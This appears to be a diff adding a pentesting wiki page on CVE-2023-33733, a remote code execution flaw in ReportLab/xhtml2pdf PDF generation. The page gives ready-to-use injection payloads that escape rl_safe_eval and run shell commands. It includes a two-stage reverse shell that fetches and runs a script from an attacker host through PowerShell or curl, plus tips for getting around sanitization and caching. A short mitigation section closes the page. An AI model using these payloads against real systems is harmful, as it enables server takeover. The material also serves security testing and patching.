|
| 1 | +# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733) |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs. |
| 6 | + |
| 7 | +CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands. |
| 8 | + |
| 9 | +Key points |
| 10 | +- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf. |
| 11 | +- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__. |
| 12 | +- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering. |
| 13 | +- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>") |
| 14 | +- Stability: Return a valid value for the attribute after execution (for color, use and 'red'). |
| 15 | + |
| 16 | +When to test |
| 17 | +- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments. |
| 18 | + - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer |
| 19 | + - HTTP response for PDF often starts with a ReportLab generator comment |
| 20 | + |
| 21 | +How the sandbox bypass works |
| 22 | +- rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist. |
| 23 | +- However, safe functions live in a globals dictionary accessible as func.__globals__. |
| 24 | +- Use type(type(1)) to recover the real builtin type function (bypassing ReportLab’s wrapper), then define a Word class derived from str with mutated comparison behavior so that: |
| 25 | + - .startswith('__') → always False (bypass name startswith('__') check) |
| 26 | + - .__eq__ returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works) |
| 27 | + - .__hash__ equals hash(str(self)) |
| 28 | +- With this, getattr(pow, Word('__globals__')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('<cmd>'). |
| 29 | + |
| 30 | +Minimal exploitation pattern (attribute example) |
| 31 | +Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'. |
| 32 | + |
| 33 | +<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'"> |
| 34 | + exploit |
| 35 | +</font></para> |
| 36 | + |
| 37 | +- The list-comprehension form allows a single expression acceptable to rl_safe_eval. |
| 38 | +- The trailing and 'red' returns a valid CSS color so the rendering doesn’t break. |
| 39 | +- Replace the command as needed; use ping to validate execution with tcpdump. |
| 40 | + |
| 41 | +Operational workflow |
| 42 | +1) Identify PDF generator |
| 43 | + - PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment. |
| 44 | +2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export. |
| 45 | +3) Verify execution with low-noise ICMP |
| 46 | + - Run: sudo tcpdump -ni <iface> icmp |
| 47 | + - Payload: ... system('ping <your_ip>') ... |
| 48 | + - Windows often sends exactly four echo requests by default. |
| 49 | +4) Establish a shell |
| 50 | + - For Windows, a reliable two-stage approach avoids quoting/encoding issues: |
| 51 | + - Stage 1 (download): |
| 52 | + |
| 53 | +<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para> |
| 54 | + |
| 55 | + - Stage 2 (execute): |
| 56 | + |
| 57 | +<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para> |
| 58 | + |
| 59 | + - For Linux targets, similar two-stage with curl/wget is possible: |
| 60 | + - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') |
| 61 | + |
| 62 | +Notes and tips |
| 63 | +- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.). |
| 64 | +- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches. |
| 65 | +- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches. |
| 66 | + |
| 67 | +Mitigations and detection |
| 68 | +- Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well. |
| 69 | +- Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted. |
| 70 | +- Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs. |
| 71 | +- Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents). |
| 72 | + |
| 73 | +References |
| 74 | +- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) |
| 75 | +- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) |
| 76 | +- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) |
| 77 | +- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) |
| 78 | + |
| 79 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments